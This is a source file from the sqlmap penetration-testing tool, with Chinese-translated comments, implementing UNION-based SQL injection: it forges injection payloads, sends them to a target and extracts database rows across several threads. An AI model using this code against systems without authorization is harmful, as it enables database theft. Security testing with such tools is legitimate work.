#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

# 导入所需的模块
import json
import re
import time

# 导入sqlmap自定义模块
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import firstNotNone
from lib.core.common import flattenValue
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
from lib.core.common import initTechnique
from lib.core.common import isDigit
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.common import removeReflectiveValues
from lib.core.common import singleTimeDebugMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import wasLastResponseDBMSError
from lib.core.compat import xrange
from lib.core.convert import getUnicode
from lib.core.convert import htmlUnescape
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapSyntaxException
from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
from lib.core.settings import NULL
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode
from thirdparty import six
from thirdparty.odict import OrderedDict

def _oneShotUnionUse(expression, unpack=True, limited=False):
    """
    执行一次UNION查询
    
    参数:
    expression - SQL查询表达式
    unpack - 是否需要解包结果
    limited - 是否限制查询结果数量
    
    返回:
    查询结果
    """
    # 从hashDB中检索缓存的结果
    retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True)

    # 获取当前线程数据
    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        # 获取UNION注入向量
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.jsonAggMode:
            # 构造注入表达式
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]

            # 设置表名和UNION模板
            try:
                kb.tableFrom = vector[9]
                kb.unionTemplate = vector[10]
            except IndexError:
                pass

            # 构造UNION查询
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            # JSON聚合模式
            injExpression = unescaper.escape(expression)
            where = vector[6]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        # 构造payload并发送请求
        payload = agent.payload(newValue=query, where=where)
        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        # 检查结果是否被强制转换为大写
        if page and kb.chars.start.upper() in page and kb.chars.start not in page:
            singleTimeWarnMessage("结果似乎被强制转换为大写。sqlmap将自动将其转换为小写")
            page = page.lower()

        # 增加UNION技术使用计数
        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        # JSON聚合模式下的结果处理
        if kb.jsonAggMode:
            for _page in (page or "", (page or "").replace('\\"', '"')):
                if Backend.isDbms(DBMS.MSSQL):
                    # MSSQL特定的JSON结果解析
                    output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        try:
                            retVal = ""
                            fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
                            for row in json.loads(output):
                                retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
                        except:
                            retVal = None
                        else:
                            retVal = getUnicode(retVal)
                elif Backend.isDbms(DBMS.PGSQL):
                    # PostgreSQL特定的结果解析
                    output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        retVal = output
                else:
                    # 其他数据库的JSON结果解析
                    output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        try:
                            retVal = ""
                            for row in json.loads(output):
                                retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop)
                        except:
                            retVal = None
                        else:
                            retVal = getUnicode(retVal)

                if retVal:
                    break
        else:
            # 非JSON模式下的结果解析
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
                )

            # 自动修复最后一个字符被截断的情况
            if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
                warnMsg = "自动修复输出中最后一个字符被截断的情况"
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))

        # 处理结果
        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # MSSQL错误信息特殊处理
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace("<br>", "\n")

            # 将结果写入hashDB缓存
            hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)

        elif not kb.jsonAggMode:
            # 检查是否存在输出被截断的情况
            trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))

            if trimmed:
                warnMsg = "检测到可能的服务器截断输出 "
                warnMsg += "(可能由于长度或内容导致): "
                warnMsg += safecharencode(trimmed)
                logger.warning(warnMsg)

            # 尝试移除ORDER BY子句重试
            elif re.search(r"ORDER BY [^ ]+\Z", expression):
                debugMsg = "重试失败的SQL查询(不带ORDER BY子句)"
                singleTimeDebugMessage(debugMsg)

                expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)

            # 尝试关闭NATIONAL CHARACTER转换
            elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)):
                debugMsg = "关闭NATIONAL CHARACTER转换"
                singleTimeDebugMessage(debugMsg)

                kb.nchar = False
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        # 从缓存获取结果时设置unionDuplicates
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal

def configUnion(char=None, columns=None):
    """
    配置UNION注入的参数
    
    参数:
    char - UNION分隔符
    columns - UNION查询的列数范围
    """
    def _configUnionChar(char):
        """配置UNION分隔符"""
        if not isinstance(char, six.string_types):
            return

        kb.uChar = char

        if conf.uChar is not None:
            kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'"))

    def _configUnionCols(columns):
        """配置UNION查询的列数范围"""
        if not isinstance(columns, six.string_types):
            return

        columns = columns.replace(' ', "")
        if '-' in columns:
            colsStart, colsStop = columns.split('-')
        else:
            colsStart, colsStop = columns, columns

        if not isDigit(colsStart) or not isDigit(colsStop):
            raise SqlmapSyntaxException("--union-cols必须是整数范围")

        conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)

        if conf.uColsStart > conf.uColsStop:
            errMsg = "--union-cols范围必须是从小到大的数字"
            raise SqlmapSyntaxException(errMsg)

    _configUnionChar(char)
    _configUnionCols(conf.uCols or columns)

def unionUse(expression, unpack=True, dump=False):
    """
    使用UNION SQL注入技术执行查询
    
    参数:
    expression - SQL查询表达式
    unpack - 是否需要解包结果
    dump - 是否在dump模式下执行
    
    返回:
    查询结果
    """

    # 初始化UNION注入技术
    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    # 初始化变量
    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    # 获取控制台宽度和开始时间
    width = getConsoleWidth()
    start = time.time()

    # 解析表达式中的字段
    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # 设置部分运行标志(API模式)
    kb.partRun = getPartRun(alias=False) if conf.api else None

    # 移除ORDER BY子句(如果存在)
    if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
        debugMsg = "由于ORDER BY子句与UNION查询不兼容,已将其移除"
        singleTimeDebugMessage(debugMsg)

    # 检查是否可以使用JSON聚合模式
    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
        match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
        if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression):
            kb.jsonAggMode = True
            # 根据不同数据库构造JSON聚合查询
            if Backend.isDbms(DBMS.MYSQL):
                query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1)
            elif Backend.isDbms(DBMS.ORACLE):
                query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
            elif Backend.isDbms(DBMS.SQLITE):
                query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
            elif Backend.isDbms(DBMS.PGSQL):
                query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
            elif Backend.isDbms(DBMS.MSSQL):
                query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
            output = _oneShotUnionUse(query, False)
            value = parseUnionPage(output)
            kb.jsonAggMode = False

    # 检查是否需要分页查询
    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        # 添加LIMIT条件
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond:
            # 计算查询结果总数
            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            output = _oneShotUnionUse(countedExpression, unpack)
            count = unArrayizeValue(parseUnionPage(output))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    debugMsg = "SQL查询返回 "
                    debugMsg += "%d %s" % (stopLimit, "条结果" if stopLimit > 1 else "条结果")
                    logger.debug(debugMsg)

            elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
                warnMsg = "无法计算SQL查询的结果数量。"
                warnMsg += "sqlmap将假设只返回一条结果"
                logger.warning(warnMsg)

                stopLimit = 1

            elif not isNumPosStrValue(count):
                if not count:
                    warnMsg = "SQL查询没有返回任何结果"
                    logger.warning(warnMsg)
                else:
                    value = []  # 空表
                return value

            # 如果结果数大于1,使用多线程处理
            if isNumPosStrValue(count) and int(count) > 1:
                threadData = getCurrentThreadData()

                try:
                    threadData.shared.limits = iter(xrange(startLimit, stopLimit))
                except OverflowError:
                    errMsg = "边界限制 (%d,%d) 太大。请使用'--fresh-queries'重新运行" % (startLimit, stopLimit)
                    raise SqlmapDataException(errMsg)

                numThreads = min(conf.threads, (stopLimit - startLimit))
                threadData.shared.value = BigArray()
                threadData.shared.buffered = []
                threadData.shared.counter = 0
                threadData.shared.lastFlushed = startLimit - 1
                threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1

                if threadData.shared.showEta:
                    threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))

                if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                    kb.suppressResumeInfo = True
                    debugMsg = "由于行数较多,抑制可能的恢复控制台信息"
                    logger.debug(debugMsg)

                try:
                    def unionThread():
                        """
                        UNION查询的线程函数
                        处理分页查询的单个线程任务
                        """
                        threadData = getCurrentThreadData()

                        while kb.threadContinue:
                            with kb.locks.limit:
                                try:
                                    threadData.shared.counter += 1
                                    num = next(threadData.shared.limits)
                                except StopIteration:
                                    break

                            # 根据数据库类型处理字段
                            if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                                field = expressionFieldsList[0]
                            elif Backend.isDbms(DBMS.ORACLE):
                                field = expressionFieldsList
                            else:
                                field = None

                            # 构造限制查询
                            limitedExpr = agent.limitQuery(num, expression, field)
                            output = _oneShotUnionUse(limitedExpr, unpack, True)

                            if not kb.threadContinue:
                                break

                            if output:
                                with kb.locks.value:
                                    if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
                                        items = parseUnionPage(output)

                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(threadData.shared.counter)
                                        if isListLike(items):
                                            # 处理返回列数不匹配的情况
                                            if len(items) > 1 and len(expressionFieldsList) > 1:
                                                items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                            items = [_ for _ in flattenValue(items)]
                                            if len(items) > len(expressionFieldsList):
                                                filtered = OrderedDict()
                                                for item in items:
                                                    key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
                                                    if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
                                                        filtered[key] = item
                                                items = list(six.itervalues(filtered))
                                            items = [items]
                                        index = None
                                        for index in xrange(1 + len(threadData.shared.buffered)):
                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(index or 0, (num, items))
                                    else:
                                        index = None
                                        if threadData.shared.showEta:
                                            threadData.shared.progress.progress(threadData.shared.counter)
                                        for index in xrange(1 + len(threadData.shared.buffered)):
                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                break
                                        threadData.shared.buffered.insert(index or 0, (num, None))

                                        items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                                    # 处理缓冲区
                                    while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
                                        threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(arrayizeValue(_))
                                        del threadData.shared.buffered[0]

                                # 显示查询进度
                                if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode:
                                    _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
                                    status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))

                                    if len(status) > width:
                                        status = "%s..." % status[:width - 3]

                                    dataToStdout("%s\n" % status)

                    # 运行多线程查询
                    runThreads(numThreads, unionThread)

                    if conf.verbose == 1:
                        clearConsoleLine(True)

                except KeyboardInterrupt:
                    abortedFlag = True

                    warnMsg = "用户中止枚举。sqlmap "
                    warnMsg += "将显示部分输出"
                    logger.warning(warnMsg)

                finally:
                    # 整理最终结果
                    for _ in sorted(threadData.shared.buffered):
                        if not isNoneValue(_[1]):
                            threadData.shared.value.extend(arrayizeValue(_[1]))
                    value = threadData.shared.value
                    kb.suppressResumeInfo = False

    # 如果没有使用分页查询且未中止,执行单次查询
    if not value and not abortedFlag:
        output = _oneShotUnionUse(expression, unpack)
        value = parseUnionPage(output)

    # 计算查询耗时
    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "执行了 %d 次查询,耗时 %.2f 秒" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
        logger.debug(debugMsg)

    return value